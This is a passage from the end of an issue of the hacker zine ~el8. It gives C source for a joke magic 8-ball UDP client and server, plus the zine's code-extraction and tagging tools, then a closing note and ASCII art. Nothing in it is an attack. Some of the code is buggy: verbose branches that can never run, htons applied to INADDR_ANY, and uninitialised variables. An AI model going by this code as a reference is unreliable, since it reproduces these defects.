  7935.  
  7936. #include <stdio.h>
  7937. #include <sys/types.h>
  7938. #include <sys/socket.h>
  7939. #include <netinet/in.h>
  7940. #include <arpa/inet.h>
  7941. #include <signal.h>
  7942. #include <errno.h>
  7943. #include <getopt.h>
  7944. #include <unistd.h>
  7945. #include <stdlib.h>
  7946. #include <netdb.h>
  7947.  
  7948. #define MAX_MAGIC                               255
  7949. #define BALL_PORT                               8888
  7950. #define BALL_LOG                                "./ball.log"
  7951. #define YES                                     1
  7952. #define NO                                      0
  7953. [END_CUT] eball.h
  7954.  
  7955. [CUT_HERE] magic.c
  7956. /* MAGIC STUFF */
  7957.  
  7958. #include "eball.h"
  7959. extern void init_magic(void)
  7960. {
  7961.       /* this algorithm (c) Magic 8-ball Co. */
  7962.       register int X,Y,Z;
  7963.       #ifdef DEBUG
  7964.       printf("%u - ",rand());
  7965.       #endif
  7966.       X=rand();
  7967.       Y=rand();
  7968.       Z=rand();
  7969.       srand((int)time(NULL));
  7970.  
  7971.       X=(int)rand()%10;
  7972.       Y=(int)rand()%20;
  7973.       Z=(int)rand()%30;
  7974.       for(;X>0;X--)
  7975.       {
  7976.         Y=rand()%10;
  7977.         Z=rand()%10;
  7978.       }
  7979.       for(;Y>0;Y--)
  7980.       {
  7981.         X=rand()%10;
  7982.         Z=rand()%10;
  7983.       }
  7984.       for(;Z>0;Z--)
  7985.       {
  7986.         X=rand()%10;
  7987.         Y=rand()%10;
  7988.       }
  7989.       #ifdef DEBUG
  7990.       printf("%u = diff\n",rand());
  7991.       #endif
  7992. }
  7993. int get_magic(char *question)
  7994. {
  7995.       rand(); // ditch the first call
  7996.       rand(); // second one is dirty
  7997.       /* c'mon lucky three! */
  7998.       return ((int) (rand()^(int)*question));
  7999. }
  8000. char *getmmsg(int spice,char *mmsg,char *b[],int bsize)
  8001. {
  8002.       int bean;
  8003.       srand(spice);
  8004.       bean = rand()%bsize;
  8005.       mmsg = b[bean];
  8006.       return b[bean];
  8007. }
  8008. [END_CUT] magic.c
  8009.  
  8010. [CUT_HERE] main.c
  8011. #include "eball.h"
  8012.  
  8013. char *getmmsg(int,char*,char*[],int);
  8014. void init_magic(void);
  8015. int get_magic(char*);
  8016. int ball_serv(void);
  8017. int ball_client(char*,short,int);
  8018.  
  8019. extern char *optarg;
  8020. extern int optind;
  8021.  
  8022. // this usage (c) funny bunny
  8023. void usage(const char *argv0, const char *msg)
  8024. {
  8025.  
  8026.   fprintf(stderr,"\033[2J\033[47;2m["
  8027.                  "\033[m"
  8028.                  "\033[41;27;1m error: %69s "
  8029.                  "\033[m"
  8030.                  "\033[47;2m]\033[m"
  8031.                  "\n\033[47;2m\033[m%78s\033[47;2m\033[m"
  8032.                  "\n"
  8033.                  "%s [-s]                               [server]\n"
  8034.                  "%s [-c hostname] <question>           [client]\n"
  8035.                  "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  8036.                  "\n" // remove this if you dont getchar()
  8037.                  "\033[47;2m[\033[m"
  8038.                  "\033[42;27;1m"
  8039.                  " magic 8-ball  %57sby fB "
  8040.                  "\033[m\033[47;2m]"
  8041.                  "\033[m"
  8042.                  ,msg," ",argv0,argv0," ");
  8043.   getchar();
  8044.   return;
  8045. }
  8046. main (int argc,char **argv)
  8047. {
  8048.     int isClient=-1;
  8049.     char c;
  8050.     char *hostname=NULL;
  8051.     while((c=getopt(argc,argv,"sc:"))!=EOF)
  8052.     {
  8053.        switch(c)
  8054.        {
  8055.          case 's':
  8056.            isClient=NO;
  8057.            break;
  8058.          case 'c':
  8059.            isClient=YES;
  8060.            hostname = optarg;
  8061.            break;
  8062.          default:
  8063.            usage(argv[0],"invalid option");
  8064.            exit(1);
  8065.        }
  8066.     }
  8067.  
  8068.     if(isClient==YES && (hostname==(char*)NULL || optind>=argc))
  8069.     {
  8070.       usage(argv[0],"no question / hostname");
  8071.       exit(1);
  8072.     }
  8073.     if(isClient==-1)
  8074.     {
  8075.        usage(argv[0],"must specify either client or server mode");
  8076.        exit(1);
  8077.     }
  8078.     setvbuf(stdout,(char*)NULL,_IONBF,0);
  8079.     //srand(isClient=YES?*hostname:time(NULL)^rand());
  8080.     srand(rand()%(int)time(NULL));
  8081.  
  8082.     init_magic();
  8083.     if (isClient == YES)
  8084.     {
  8085.       printf("[%s: client mode]\n"
  8086.              "%s %i\n"
  8087.              "%u\n",argv[0],hostname,BALL_PORT,get_magic(argv[optind]));
  8088.       ball_client(hostname,BALL_PORT,get_magic(argv[optind]));
  8089.     }
  8090.     else
  8091.     {
  8092.       printf("[%s: server mode]\n",argv[0]);
  8093.       ball_serv();
  8094.     }
  8095.     return 0;
  8096. }
  8097. [END_CUT] main.c
  8098.  
  8099. [CUT_HERE] server.c
  8100. #include "eball.h"
  8101. int beancounter=10;
  8102. char *magic_dust[] =
  8103. {
  8104.   " Outlook does not look good. ",
  8105.   " Definetly No. ",
  8106.   " Yes!! ",
  8107.   " Nope. ",
  8108.   " I'm sorry - no. ",
  8109.   " HELL NO! ",
  8110.   " uhh... no. ",
  8111.   " FER SHER!!! ",
  8112.   " like, as if! ",
  8113.   " like, totally ",
  8114. };
  8115. FILE *stdlog = NULL;
  8116. int con=0;
  8117. void getsig(int);
  8118. extern int ball_serv(void)
  8119. {
  8120.     int sockfd=0, magic_bean;
  8121.     socklen_t addrlen;
  8122.     struct sockaddr_in me,you;
  8123.     char data[MAX_MAGIC];
  8124.     char *magic_msg=(char*)malloc(((size_t)MAX_MAGIC*sizeof(char)));
  8125.     time_t t1me;
  8126.  
  8127.     if (NULL==(stdlog = fopen(BALL_LOG,"a+")))
  8128.     {
  8129.       perror(BALL_LOG);
  8130.       exit(-1);
  8131.     }
  8132.  
  8133.     signal(SIGTERM,getsig);
  8134.     signal(SIGQUIT,getsig);
  8135.     signal(SIGINT,getsig);
  8136.  
  8137.     if (fork() != 0) exit(0); setsid();
  8138.  
  8139.     if ( (sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  8140.     {
  8141.         perror("udp socket");
  8142.         exit(-1);
  8143.     }
  8144.     bzero((char*)&data,sizeof(data));
  8145.     bzero((char*)&you,sizeof(you));
  8146.     bzero((char*)&me,sizeof(me));
  8147.  
  8148.     me.sin_family        =   AF_INET;
  8149.     me.sin_addr.s_addr   =   htons(INADDR_ANY);
  8150.     me.sin_port          =   htons(BALL_PORT);
  8151.     you.sin_family       =   AF_INET;
  8152.     you.sin_addr.s_addr  =   htons(INADDR_ANY);
  8153.     addrlen=(socklen_t)sizeof(you);
  8154.     if ((bind(sockfd,(struct sockaddr*)&me,sizeof(me)) <0))
  8155.     {
  8156.         perror("couldn't bind to udp port!");
  8157.         exit(-1);
  8158.     }
  8159.     for(;;)
  8160.     {
  8161.  
  8162.         if (recvfrom(sockfd,data,sizeof(data)-1,0,
  8163.                      (struct sockaddr *) &you, &addrlen) > 0)
  8164.         {
  8165.             if ((sscanf(data,"%i",&magic_bean))==1)
  8166.             {
  8167.                 con++;
  8168.                 #ifdef DEBUG
  8169.                 printf("data in\n");
  8170.                 #endif
  8171.                 t1me = time(NULL);
  8172.                 fprintf(stdlog,"%.24s: %s [%i]\n",ctime(&t1me),
  8173.                                                   inet_ntoa(you.sin_addr),
  8174.                                                   magic_bean);
  8175.                 magic_msg = getmmsg(magic_bean,magic_msg,magic_dust,beancounter);
  8176.                 #ifdef DEBUG
  8177.                 printf("sending: [%.50s]\n",magic_msg);
  8178.                 #endif
  8179.                 if (sendto(sockfd,magic_msg,MAX_MAGIC,0,
  8180.                      (struct sockaddr *)&you,(socklen_t)sizeof(you))<0)
  8181.                 {
  8182.                    #ifdef DEBUG
  8183.                    perror("sending magic msg");
  8184.                    exit(-1);
  8185.                    #endif /* DEBUG */
  8186.                 }
  8187.             }
  8188.         }
  8189.         //bzero(magic_msg,sizeof(magic_msg));
  8190.         bzero((char*)&data,sizeof(data));
  8191.     }
  8192.     fflush(stdlog);
  8193.     shutdown(sockfd,2);
  8194.     fclose(stdlog);
  8195. }
  8196. /* standard server.getsig() */
  8197. void getsig(int s)
  8198. {
  8199.     fprintf(stderr,"Caught signal %i, exiting...\n",s);
  8200.     fprintf(stderr,"[%i connections]\n",con);
  8201.     fflush(stdlog);
  8202.     exit(-1);
  8203. }
  8204. [END_CUT] server.c
  8205.  
  8206. [END_DIR] 8ball
  8207.  
  8208.  
  8209.        ____________________________________
  8210.     .-'                                    `-.
  8211. [26]|            ELDUMP and ELTAG            |[26]
  8212. [26]|                   by:                  |[26]
  8213. [26]|                  ~el8                  |[26]
  8214.     `-.____________________________________.-'
  8215.  
  8216. [BEGIN_DIR] .
  8217. [CUT_HERE] eldump.c
  8218. /*
  8219. -+-+
  8220. cat <<'/*++--++*'> eldump.c # */
  8221.  
  8222. /**********************************************
  8223.  * released under (E) licensing ...           *
  8224.  *        (E) RULES AND REGULATIONS           *
  8225.  * permission to use/rewrite/add    : granted *
  8226.  * permission to trojan/steal       : denied  *
  8227.  * permission to use illegally      : denied  *
  8228.  * permission to use on dev/urandom : denied  *
  8229.  **********************************************/
  8230.  
  8231.  
  8232. /*******************************************
  8233.  * eldump.c for standard UNIX compilers    *
  8234.  * next version:                           *
  8235.  *                                         *
  8236.  *  +article extraction (ablility to       *(E)*
  8237.  *                specify article number)  *[~]*
  8238.  *  +code extract by article number        *[E]*
  8239.  *  +GUI interface for file viewing        *[L]*
  8240.  *             (most likely curses based)  *[8]*
  8241.  *  +ability to update code/articles via   *[`]*
  8242.  *               updates/correction posted *[9]*
  8243.  *               on ~el8 website           *[9]*
  8244.  *  +much cooler/faster/stronger/portable  *
  8245.  *  +Versions for DOS C/COBOL/Asm/Pascal   *
  8246.  *******************************************/
  8247.  
  8248. // Questions/Comments/Corrections @ el8@press.co.jp 
  8249. // el8.n3.net 
  8250. // packetstorm.securify.com/mag/~el8/ 
  8251.  
  8252.  
  8253. #include <sys/stat.h>
  8254. #include <sys/types.h>
  8255. #include <unistd.h>
  8256. #include <fcntl.h>
  8257. #include <stdio.h>
  8258. #include <errno.h>
  8259. #include <stdlib.h>
  8260. #include <string.h>
  8261.  
  8262. /**************************************
  8263. * next version of eldump will have    *
  8264. * a lot more features, this is just   *
  8265. * a basic code extraction version.    *
  8266. *      - team ~el8                    *
  8267. *                                     *
  8268. * #define ISH_START        "[SOI] %s" *
  8269. * #define ARTICLE_START    "[BOW] %s" *
  8270. * #define ARTICLE_END         "[EOW]" *
  8271. * #define ISH_END             "[EOI]" *
  8272. **************************************/
  8273.  
  8274. /* for verbosity */
  8275. #define VERBOSE                0x01
  8276. #define VERY                  0x10
  8277. #define LOTS                  0x20
  8278. /* char array sizes */
  8279. #define LINELEN                  80
  8280. #define BUFLEN                  255
  8281.  
  8282. /* Issue Tag Defines */
  8283. #define CODE_START  "[CUT_HERE] %s"
  8284. #define CODE_START_ARGS          1
  8285. #define DIR_START  "[BEGIN_DIR] %s"
  8286. #define DIR_START_ARGS           1
  8287. #define DIR_END      "[END_DIR] %s"
  8288. #define DIR_END_ARGS             1
  8289. #define CODE_END     "[END_CUT] %s"
  8290. #define CODE_END_ARGS            1
  8291. #define loop(n)            for(;n;)
  8292.  
  8293. /* global vars */
  8294. FILE *TextFD;
  8295. char BaseDirectory[BUFLEN], buf[LINELEN], CodeDir[BUFLEN + BUFLEN], tmp[LINELEN];
  8296. int verbose = 0, linez = 0, codez = 0, dirz = 0;
  8297. const char *license = \
  8298. "/***********************************************\n"
  8299. " * released under (E) licensing ...            *\n"
  8300. " *        (E) RULES AND REGULATIONS            *\n"
  8301. " * permission to use/rewrite/add     : granted *\n"
  8302. " * permission to trojan/steal        : denied  *\n"
  8303. " * permission to use illegally       : denied  *\n"
  8304. " * permission to use on /dev/urandom : denied  *\n"
  8305. " ***********************************************/\n"
  8306. "/* contact el8@press.co.jp for full license    */\n"
  8307. "/* code copyrighted by ~el8 -- don't infringe! */\n\n";
  8308.  
  8309. /**********************
  8310. * int  article(char *);
  8311. * int    issue(char *);
  8312. **********************/
  8313.  
  8314. /* function prototypes */
  8315. int code (char *);
  8316. int extr (char *);
  8317.  
  8318. int
  8319. main (int argc, char *argv[])
  8320. {
  8321.   int NumberOfFiles; // For multiple files
  8322.   getcwd (BaseDirectory, BUFLEN);       // error checking is for pussiez
  8323.  
  8324.   setvbuf (stderr, (char *) NULL, _IONBF, 0);  //unbuffer stderr (usually unbuffered anyhow)
  8325.   if (argc < 2) // no options specified
  8326.     {
  8327.       fprintf (stderr,
  8328.                "\033[0;36m"
  8329.                ".---------------------------------------.\n"
  8330.                "|\033[1;36m  /\\/|    _  ___              _       \033[0;36m |\n"
  8331.                "|\033[1;36m |/\\/ ___| |( _ )   _____  _| |_ _ __  \033[0;36m|\n"
  8332.                "|\033[1;36m     / _ \\ |/ _ \\  / _ \\ \\/ / __| '__| \033[0;36m|\n"
  8333.                "|\033[1;36m    |  __/ | (_) ||  __/>  <| |_| |    \033[0;36m|\n"               "|\033[1;36m     \\___|_|\\___/  \\___/_/\\_\\\\__|_|    \033[0;36m|\n"
  8334.                "`---usage-------------------------------'\n"
  8335.                "\033[m\n"
  8336.                "\033[7m %s [file1 file2 file3 ...] <option>\t\033[m\n"
  8337.                "\033[0;32m\n"
  8338.                ".---options-----------------------------.\n"
  8339.                "|+\033[1;32m   [-v]: verbose     \033[0;32m                 |\n"               "|+\033[1;32m  [-vv]: very verbose\033[0;32m                 |\n"               "|+\033[1;32m [-vvv]: very very verbose \033[0;32m           |\n"               "`---------------------------------------'\n"
  8340.                "\033[m",
  8341.                argv[0]);
  8342.       exit (-1);
  8343.     }
  8344.  
  8345.   verbose -= verbose; // zero verbose
  8346.   if (!strncmp (argv[argc - 1], "-v", 2)) // if the last option was a "-v"
  8347.     {
  8348.       verbose = VERBOSE;
  8349.       argc--;
  8350.     }
  8351.   else if (!strncmp (argv[argc - 1], "-vv", 3)) // "-vv"
  8352.     {
  8353.       verbose = (VERY + VERBOSE);
  8354.       argc--;
  8355.     }
  8356.   else if (!strncmp (argv[argc - 1], "-vvv", 4)) // "-vvv"
  8357.     {
  8358.       verbose = (LOTS + VERBOSE + LOTS);
  8359.       argc--;
  8360.     }
  8361.  
  8362.   if (argc < 2)
  8363.     {
  8364.       fprintf (stderr, "need files...\n");
  8365.       exit (-1);
  8366.     }
  8367.  
  8368.   for (NumberOfFiles = 1; NumberOfFiles < argc; NumberOfFiles++)
  8369.     {
  8370.       if (verbose >= LOTS)
  8371.         {
  8372.           fprintf (stderr, "eldumping code from %s\n", argv[NumberOfFiles]);
  8373.           if (extr (argv[NumberOfFiles]) == 0)
  8374.             {
  8375.               fprintf (stderr, "[#%i] code eldump of %s: success!\n",
  8376.                        NumberOfFiles, argv[NumberOfFiles]);
  8377.             }
  8378.           else
  8379.             {
  8380.               fprintf (stderr, "[#%i] code eldump of %s: failed.\n",
  8381.                        NumberOfFiles, argv[NumberOfFiles]);
  8382.             }
  8383.         }
  8384.       else
  8385.         {
  8386.           extr (argv[NumberOfFiles]);
  8387.         }
  8388.     }
  8389.  
  8390.   if (verbose >= VERBOSE)
  8391.     {
  8392.       fprintf (stderr, "\t%i texts\n\t%i dirs\n\t%i codes\n\t\%i lines\n",
  8393.                NumberOfFiles - 1, dirz, codez, linez);
  8394.     }
  8395.   exit (0);
  8396. }
  8397.  
  8398. int
  8399. extr (char *TextFileName)
  8400.  
  8401. {
  8402.   char arg[LINELEN];
  8403.   if ((TextFD = fopen (TextFileName, "r")) == NULL)
  8404.     {
  8405.       fprintf (stderr, "opening text %s: %s\n", TextFileName, strerror (errno));      return (-1);
  8406.     }
  8407.   loop (!feof (TextFD))
  8408.   {
  8409.     fgets (buf, LINELEN, TextFD);
  8410.  
  8411.     if (sscanf (buf, DIR_START, arg) == DIR_START_ARGS)
  8412.       {
  8413.         snprintf (CodeDir, sizeof CodeDir, "%s/%s", BaseDirectory, arg);
  8414.         if (verbose >= VERBOSE)
  8415.           {
  8416.             fprintf (stderr, "creating %s/\n", CodeDir);
  8417.             dirz++;
  8418.           }
  8419.  
  8420.  
  8421.         if ((mkdir (CodeDir, 0700) == -1) && (errno != EEXIST))
  8422.           {
  8423.             perror (CodeDir);
  8424.             fclose (TextFD);
  8425.             return (-1);
  8426.           }
  8427.         if (chdir (CodeDir) == -1)
  8428.           {
  8429.             fprintf (stderr, "changing to code dir %s: %s\n", CodeDir, strerror
  8430. (errno));
  8431.             fclose (TextFD);
  8432.             return (-1);
  8433.           }
  8434.         else if (verbose >= LOTS)
  8435.           fprintf (stderr, "changing to %s\n", CodeDir);
  8436.       }
  8437.     else if (sscanf (buf, CODE_START, arg) == CODE_START_ARGS)
  8438.       {
  8439.         if (verbose >= VERY)
  8440.           fprintf (stderr, "eldumping %s\n", arg);
  8441.         if (code (arg) == -1)
  8442.           {
  8443.             fclose (TextFD);
  8444.             return (-1);
  8445.           }
  8446.       }
  8447.  
  8448.     else if (sscanf (buf, DIR_END, tmp) == DIR_END_ARGS)
  8449.       {
  8450.         if (verbose >= LOTS)
  8451.           fprintf (stderr, "changing to ..\n");
  8452.  
  8453.         chdir ((!strcmp (arg, ".")) ? "." : "..");
  8454.       }
  8455.   }
  8456.   fclose (TextFD);
  8457.   return (0);
  8458. }
  8459.  
  8460. int
  8461. code (char *CodeFileName)
  8462. {
  8463.   FILE *CodeFile;
  8464.   char codebuff[BUFLEN];
  8465.  
  8466.   chdir ((CodeDir != NULL) ? CodeDir : ".");
  8467.  
  8468.   if ((CodeFile = fopen (CodeFileName, "w+")) == NULL)
  8469.     {
  8470.       fprintf (stderr, "opening code %s: %s\n", CodeFileName, strerror (errno));      return (-1);
  8471.     }
  8472.   if (verbose >= VERBOSE)
  8473.     codez++;
  8474.   if (CodeFileName[strlen(CodeFileName)-1] == 'c' && CodeFileName[strlen(CodeFileName)-2] == '.')
  8475.   fputs (license, CodeFile);
  8476.   loop (!feof (TextFD))
  8477.   {
  8478.     fgets (codebuff, LINELEN, TextFD);
  8479.  
  8480.     if (sscanf (codebuff, CODE_END, tmp) == CODE_END_ARGS)
  8481.       {
  8482.         if (verbose >= LOTS)
  8483.           fprintf (stderr, "end of %s\n", CodeFileName);
  8484.  
  8485.         fclose (CodeFile);
  8486.         break;
  8487.       }
  8488.     else
  8489.       {
  8490.         fputs (codebuff, CodeFile);
  8491.         if (verbose >= VERBOSE)
  8492.           linez++;
  8493.  
  8494.       }
  8495.   }
  8496.   return 0;
  8497. }
  8498.  
  8499. // [CUT_HERE] <NAME> then [END_CUT] <NAME>  //
  8500. // [BEGIN_DIR] <NAME> then [END_DIR] <NAME> //
  8501.  
  8502.  
  8503. /*++--++*
  8504.    cat <<'[EOI]'> /dev/null
  8505. */
  8506.  
  8507. [END_CUT] eldump.c
  8508. [CUT_HERE] eltag.c
  8509. #include <stdio.h>
  8510. #include <stdlib.h>
  8511. #include <stdarg.h>
  8512. #include <string.h>
  8513. #define loop(n)     for(;n;)
  8514.  
  8515. char *TAG="[(%i) %s]";
  8516. char *TOCTAG="~el8|*iSSue2*[(%u) %s]*iSSue2|~el8";
  8517.  
  8518. extern char *optarg;
  8519. FILE *out;
  8520. void t4gz(char *,char*,int);
  8521.  
  8522. int
  8523. main (int argc, char *argv[])
  8524. {
  8525.   int p;
  8526.   char *file;
  8527.   int type;
  8528.   char *t4g = TAG;
  8529.   if (argc < 3)
  8530.     {
  8531.       fprintf (stderr, "usage: %s <format> <-t> [-f infile] <-o outfile>\n"
  8532.                        "formats:\n"
  8533.                        "\t[-i]: integer output\n"
  8534.                        "\t[-X]: uppercase hexidecimal output\n"
  8535.                        "\t[-O]: octal output\n"
  8536.                        "\t[-x]: lowercase hexadecimal\n"
  8537.                        "[-t] = output table of contents\n",argv[0]);
  8538.       exit (-1);
  8539.     }
  8540.   while ( (p = getopt(argc,argv,"tiXOxf:o:"))!=EOF){
  8541.       switch(p){
  8542.          case 't':
  8543.             t4g = TOCTAG;
  8544.             break;
  8545.          case 'i':
  8546.             type = p;
  8547.             break;
  8548.          case 'X':
  8549.             type = p;
  8550.             break;
  8551.          case 'O':
  8552.             type = p;
  8553.             break;
  8554.          case 'x':
  8555.             type = p;
  8556.             break;
  8557.          case 'f':
  8558.             file = optarg;
  8559.             break;
  8560.          case 'o':
  8561.             if ((out=fopen(optarg,"w+"))==NULL)
  8562.                 {
  8563.                   perror(optarg);
  8564.                   exit (-1);
  8565.                 }
  8566.             break;
  8567.          default:
  8568.             exit(-1);
  8569.       }
  8570.   }
  8571.   if (out==NULL) out=stderr;
  8572.   t4gz(file,t4g, type);
  8573.   exit (0);
  8574. }
  8575.  
  8576. void
  8577. t4gz (char *T,char *tag,int io)
  8578.  
  8579. {
  8580.   char articlename[80];
  8581.   unsigned articleno=0;
  8582.   int lineno;
  8583.   FILE *TFD;
  8584.   char buf[80];
  8585.  
  8586.   if ((TFD = fopen (T, "r")) == NULL)
  8587.     {
  8588.       perror(T);
  8589.       exit (-1);
  8590.     }
  8591.   bzero((char*)&buf,sizeof(buf));
  8592.   lineno-=lineno;
  8593.   loop (!feof (TFD))
  8594.   {
  8595.     lineno++;
  8596.     fgets (buf, sizeof(buf), TFD);
  8597.  
  8598.     if (sscanf(buf,tag,&articleno,articlename) == 2)
  8599.       {
  8600.         if (buf[strlen(buf)-1] == '\n') buf[strlen(buf)-1] = '\0';
  8601.         switch (io) {
  8602.           case 'i':
  8603.             fprintf(stderr,"[(%04i) %20s]\t @ \033[1mLine %i\033[m\n",articleno,articlename,lineno);
  8604.             break;
  8605.           case 'X':
  8606.             fprintf(stderr,"[(%4X) %20s]\t @ \033[1mLine %i\033[m\n",articleno,articlename,lineno);
  8607.             break;
  8608.           case 'O':
  8609.             fprintf(stderr,"[(%4o) %20s]\t @ \033[1mLine %i\033[m\n",articleno,articlename,lineno);
  8610.             break;
  8611.           case 'x':
  8612.             fprintf(stderr,"[(%4x) %20s]\t @ \033[1mLine %i\033[m\n",articleno,articlename,lineno);
  8613.             break;
  8614.           default:
  8615.             fprintf(stderr,"[(%04i) %20s]\t @ \033[1mLine #%i\033[m\n",articleno,articlename,lineno);
  8616.             break;
  8617.         }
  8618.       }
  8619.     bzero((char*)&buf,sizeof(buf));
  8620.   }
  8621.   fclose (out);
  8622.   fclose (TFD);
  8623.   exit (0);
  8624. }
  8625. [END_CUT] eltag.c
  8626.  
  8627.  
  8628.        ____________________________________
  8629.     .-'                                    `-.
  8630. [27]|                 cl0s1ng                |[27]
  8631. [27]|                   by:                  |[27]
  8632. [27]|                  ~el8                  |[27]
  8633.     `-.____________________________________.-'
  8634.  
  8635.     em4il uz! m0re submissi0nz w0uld b gre4t! iph there'z n0t
  8636.     much submissi0nz it'll b a ye4r again! we kn0w u d0nt w4nt
  8637.     that!
  8638.  
  8639.  
  8640.  
  8641. [EOW]
  8642. [EOI]
  8643. echo '
  8644.                                            lllllll      888888888
  8645.                                            l:::::l    88:::::::::88
  8646.                                            l:::::l  88:::::::::::::88
  8647.                                            l:::::l 8::::::88888::::::8
  8648.                             eeeeeeeeeeee    l::::l 8:::::8     8:::::8
  8649.                           ee::::::::::::ee  l::::l 8:::::8     8:::::8
  8650.     _________     _____ e::::::eeeee:::::ee l::::l  8:::::88888:::::8
  8651.    /          \  /     |e::::::e     e:::::el::::l   8:::::::::::::8
  8652.   /  ~el8      \/      /e:::::::eeeee::::::el::::l  8:::::88888:::::8
  8653.  /       _            / e:::::::::::::::::e l::::l 8:::::8     8:::::8
  8654. /      /  \          /  e::::::eeeeeeeeeee  l::::l 8:::::8     8:::::8
  8655. \_____/    \________/   e:::::::e           l::::l 8:::::8     8:::::8
  8656.                         e::::::::e         l::::::l8::::::88888::::::8
  8657.                          e::::::::eeeeeeee l::::::l 88:::::::::::::88
  8658.                           ee:::::::::::::e l::::::l   88:::::::::88
  8659.                             eeeeeeeeeeeeee llllllll     888888888
  8660.                                                        .g4yd4nb4n.
  8661. '
  8662. echo 'Extracted eldump.c'
  8663. echo 'use $CC eldump.c -o eldump'
  8664. echo './eldump ~el8[0] (-v | -vv | -vvv)'
  8665. echo
  8666. echo '    * ~el8 team 294 local 24 *'
  8667. echo '    *  check local listings  *'
  8668.  
  8669.  
  8670.